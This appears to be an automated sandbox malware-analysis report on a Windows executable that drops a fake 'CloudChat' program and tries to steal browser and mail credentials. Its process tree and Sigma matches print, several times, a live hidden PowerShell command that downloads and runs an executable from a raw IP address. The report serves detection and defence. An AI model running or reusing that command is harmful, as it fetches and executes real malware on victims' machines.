Edit tour

Windows Analysis Report
LIccs3x2LZ.exe

Overview

General Information

Sample name:	LIccs3x2LZ.exe renamed because original name is a hash value
Original sample name:	50ff39e6d5e524a95771c4a219d0e1d15ec42175e6d79d264f8a1eee0c418a18.exe
Analysis ID:	1522591
MD5:	f79f4fdd2637a2ab98294079ecbdc457
SHA1:	eb71a9701dca99de77e4e38a2bca533fd0057077
SHA256:	50ff39e6d5e524a95771c4a219d0e1d15ec42175e6d79d264f8a1eee0c418a18
Tags:	185-196-10-235185-196-8-119exeuser-JAMESWT_MHT
Infos:

Detection

Score:	36
Range:	0 - 100
Whitelisted:	false
Confidence:	0%

Signatures

Multi AV Scanner detection for submitted file

Found pyInstaller with non standard icon

Query firmware table information (likely to detect VMs)

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

LIccs3x2LZ.exe (PID: 7132 cmdline: "C:\Users\user\Desktop\LIccs3x2LZ.exe" MD5: F79F4FDD2637A2AB98294079ECBDC457)

conhost.exe (PID: 1408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

LIccs3x2LZ.exe (PID: 3504 cmdline: "C:\Users\user\Desktop\LIccs3x2LZ.exe" MD5: F79F4FDD2637A2AB98294079ECBDC457)

cmd.exe (PID: 6204 cmdline: C:\Windows\system32\cmd.exe /c "start cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 5620 cmdline: cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe (PID: 4160 cmdline: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe MD5: 286C4FE69BB974A050B48FCC82108897)

84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp (PID: 6428 cmdline: "C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp" /SL5="$4046E,22570383,901632,C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe" MD5: 883D1E41D100F16B16231599B49E286B)

CloudChat.exe (PID: 2612 cmdline: "C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe" MD5: F6D1635745FAE66AC9AC4D3DC5E9C604)

reg.exe (PID: 2820 cmdline: "reg" EXPORT "HKEY_CURRENT_USER\SOFTWARE" "C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserSOFTWARE.reg" /y MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 1576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2788 cmdline: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path", ProcessId: 2788, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: LIccs3x2LZ.exe	Virustotal: Detection: 53%			Perma Link
Source: LIccs3x2LZ.exe	ReversingLabs: Detection: 36%

Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

memstr_6b9663fb-6

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6666-4FBF-9CA8-7A333C87D1ED}_is1

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50076 version: TLS 1.2
